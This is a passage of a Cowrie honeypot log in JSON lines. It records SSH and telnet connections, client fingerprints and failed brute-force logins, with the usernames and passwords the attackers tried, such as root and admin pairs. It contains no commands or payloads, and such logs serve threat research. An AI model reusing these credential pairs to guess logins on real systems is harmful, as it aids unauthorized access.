{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:37.616202Z","src_ip":"66.29.142.197","session":"672f4638033e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":54314,"dst_ip":"10.17.0.5","dst_port":22,"session":"84fb859af6ef","protocol":"ssh","message":"New connection: 43.134.49.202:54314 (10.17.0.5:22) [session: 84fb859af6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:39.332390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:39.335355Z","src_ip":"43.134.49.202","session":"84fb859af6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:39.579179Z","src_ip":"43.134.49.202","session":"84fb859af6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"isletme","password":"123456","message":"login attempt [isletme/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:40.589478Z","src_ip":"43.134.49.202","session":"84fb859af6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:41.836895Z","src_ip":"43.134.49.202","session":"84fb859af6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":59552,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac045a9cb384","protocol":"ssh","message":"New connection: 139.19.117.129:59552 (159.203.135.109:22) [session: ac045a9cb384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.347962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.351289Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.445671Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.631629Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.634499Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.728385Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:23:52.730764Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:02.350102Z","src_ip":"139.19.117.129","session":"ac045a9cb384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59096,"dst_ip":"10.17.0.5","dst_port":23,"session":"121f893d7f58","protocol":"telnet","message":"New connection: 94.23.66.112:59096 (10.17.0.5:23) [session: 121f893d7f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:06.820832Z"}
{"eventid":"cowrie.session.closed","duration":0.002966165542602539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:06.823696Z","src_ip":"94.23.66.112","session":"121f893d7f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"791734ca6bfe","protocol":"ssh","message":"New connection: 91.92.40.176:57994 (10.17.0.5:22) [session: 791734ca6bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:14.688461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:14.692262Z","src_ip":"91.92.40.176","session":"791734ca6bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:14.772404Z","src_ip":"91.92.40.176","session":"791734ca6bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"admin","message":"login attempt [ftp/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:15.021474Z","src_ip":"91.92.40.176","session":"791734ca6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:16.104366Z","src_ip":"91.92.40.176","session":"791734ca6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":56640,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f434aef7dae","protocol":"ssh","message":"New connection: 154.16.115.34:56640 (159.203.135.109:22) [session: 2f434aef7dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:17.470508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:17.474150Z","src_ip":"154.16.115.34","session":"2f434aef7dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:17.498897Z","src_ip":"154.16.115.34","session":"2f434aef7dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kazakhstan","password":"Astana#Crypto$S3cur3!","message":"login attempt [kazakhstan/Astana#Crypto$S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:17.575333Z","src_ip":"154.16.115.34","session":"2f434aef7dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:24:18.605222Z","src_ip":"154.16.115.34","session":"2f434aef7dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":50930,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f39ec458969","protocol":"ssh","message":"New connection: 162.241.132.172:50930 (10.17.0.5:22) [session: 6f39ec458969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:05.905088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:05.909239Z","src_ip":"162.241.132.172","session":"6f39ec458969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:05.932248Z","src_ip":"162.241.132.172","session":"6f39ec458969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth2024","message":"login attempt [eth/eth2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:06.003019Z","src_ip":"162.241.132.172","session":"6f39ec458969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:07.028774Z","src_ip":"162.241.132.172","session":"6f39ec458969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":41392,"dst_ip":"10.17.0.5","dst_port":22,"session":"0763935ba439","protocol":"ssh","message":"New connection: 99.252.20.159:41392 (10.17.0.5:22) [session: 0763935ba439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:09.684095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:09.688771Z","src_ip":"99.252.20.159","session":"0763935ba439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:09.722535Z","src_ip":"99.252.20.159","session":"0763935ba439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@T1C#Tr0ng!P@ss","message":"login attempt [root/M@T1C#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:09.822621Z","src_ip":"99.252.20.159","session":"0763935ba439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:10.858656Z","src_ip":"99.252.20.159","session":"0763935ba439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":52050,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e2d00ff2a7","protocol":"ssh","message":"New connection: 43.134.49.202:52050 (10.17.0.5:22) [session: a1e2d00ff2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:19.814002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:19.818330Z","src_ip":"43.134.49.202","session":"a1e2d00ff2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],